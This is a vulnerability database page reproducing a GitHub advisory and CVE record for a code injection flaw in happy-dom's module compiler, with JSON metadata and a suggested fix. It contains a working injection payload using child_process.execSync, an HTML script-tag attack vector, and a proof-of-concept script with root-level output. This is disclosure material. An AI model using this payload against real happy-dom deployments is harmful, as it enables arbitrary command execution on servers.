Vulnerability-Lookup

GHSA-6Q6H-J7HJ-3R64

Vulnerability from github – Published: 2026-03-26 22:22 – Updated: 2026-03-30 20:07

Summary

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
The captured importName is placed in code context (as a JS expression to evaluate), not in string context
.replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios: - SSR applications: Applications using happy-dom to render user-supplied HTML on the server - Web scraping: Applications parsing untrusted web pages with happy-dom - Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.8.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.10.0"
            },
            {
              "fixed": "20.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:22:20Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] \u0026\u0026 isTopLevel \u0026\u0026 PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n            const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);  // backticks NOT stripped\n            if (exportName \u0026\u0026 importName) {\n                exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(\u0027;\\n\u0027);\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"\u0027]/g, \u0027\u0027)` strips `\"` and `\u0027` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"\u0027]/g, \u0027\u0027):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -\u003e RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** \u2014 reproduces the vulnerability without installing happy-dom by replicating the compiler\u0027s exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = \u0027export { require(`child_process`).execSync(`id`) }\u0027;\n    const match = STMT_REGEXP.exec(source);\n\n    console.log(\u0027[*] Module source:\u0027, source);\n    console.log(\u0027[*] Regex captured:\u0027, match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n    const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);\n\n    console.log(\u0027[*] importName after quote filter:\u0027, importName);\n    console.log(\u0027[*] Backticks survived filter:\u0027, importName.includes(\u0027`\u0027));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log(\u0027[*] Generated code:\u0027, generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function(\u0027$happy_dom\u0027, generatedCode);\n      console.log(\u0027[+] Valid JavaScript: YES\u0027);\n    } catch (e) {\n      console.log(\u0027[-] Parse error:\u0027, e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log(\u0027[*] Executing...\u0027);\n    const output = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString().trim();\n    console.log(\u0027[+] RCE result:\u0027, output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** \u2014 when processed by happy-dom with JavaScript evaluation enabled:\n\n    \u003cscript type=\"module\"\u003e\n    export { require(`child_process`).execSync(`id`) }\n    \u003c/script\u003e\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027`]/g, \u0027\u0027);\n        const importName = nameParts[0].replace(/[\"\u0027`]/g, \u0027\u0027);\n\n        if (exportName \u0026\u0026 importName \u0026\u0026 VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n        }\n    }",
  "id": "GHSA-6q6h-j7hj-3r64",
  "modified": "2026-03-30T20:07:48Z",
  "published": "2026-03-26T22:22:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code"
}

CVE-2026-33943 (GCVE-0-2026-33943)

Vulnerability from cvelistv5 – Published: 2026-03-27 21:15 – Updated: 2026-03-27 21:58

Title

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

Summary

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/capricorn86/happy-dom/security…	x_refsource_CONFIRM
	https://github.com/capricorn86/happy-dom/commit/5…	x_refsource_MISC
	https://github.com/capricorn86/happy-dom/releases…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	capricorn86	happy-dom	Affected: >= 15.10.0, < 20.8.8

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33943",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-27T21:58:00.418466Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-27T21:58:16.284Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "happy-dom",
          "vendor": "capricorn86",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 15.10.0, \u003c 20.8.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-27T21:15:19.186Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
        },
        {
          "name": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
        },
        {
          "name": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
        }
      ],
      "source": {
        "advisory": "GHSA-6q6h-j7hj-3r64",
        "discovery": "UNKNOWN"
      },
      "title": "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33943",
    "datePublished": "2026-03-27T21:15:19.186Z",
    "dateReserved": "2026-03-24T19:50:52.104Z",
    "dateUpdated": "2026-03-27T21:58:16.284Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-6Q6H-J7HJ-3R64

Summary

Details

PoC

Impact

CVE-2026-33943 (GCVE-0-2026-33943)

Tags

Sightings

Nomenclature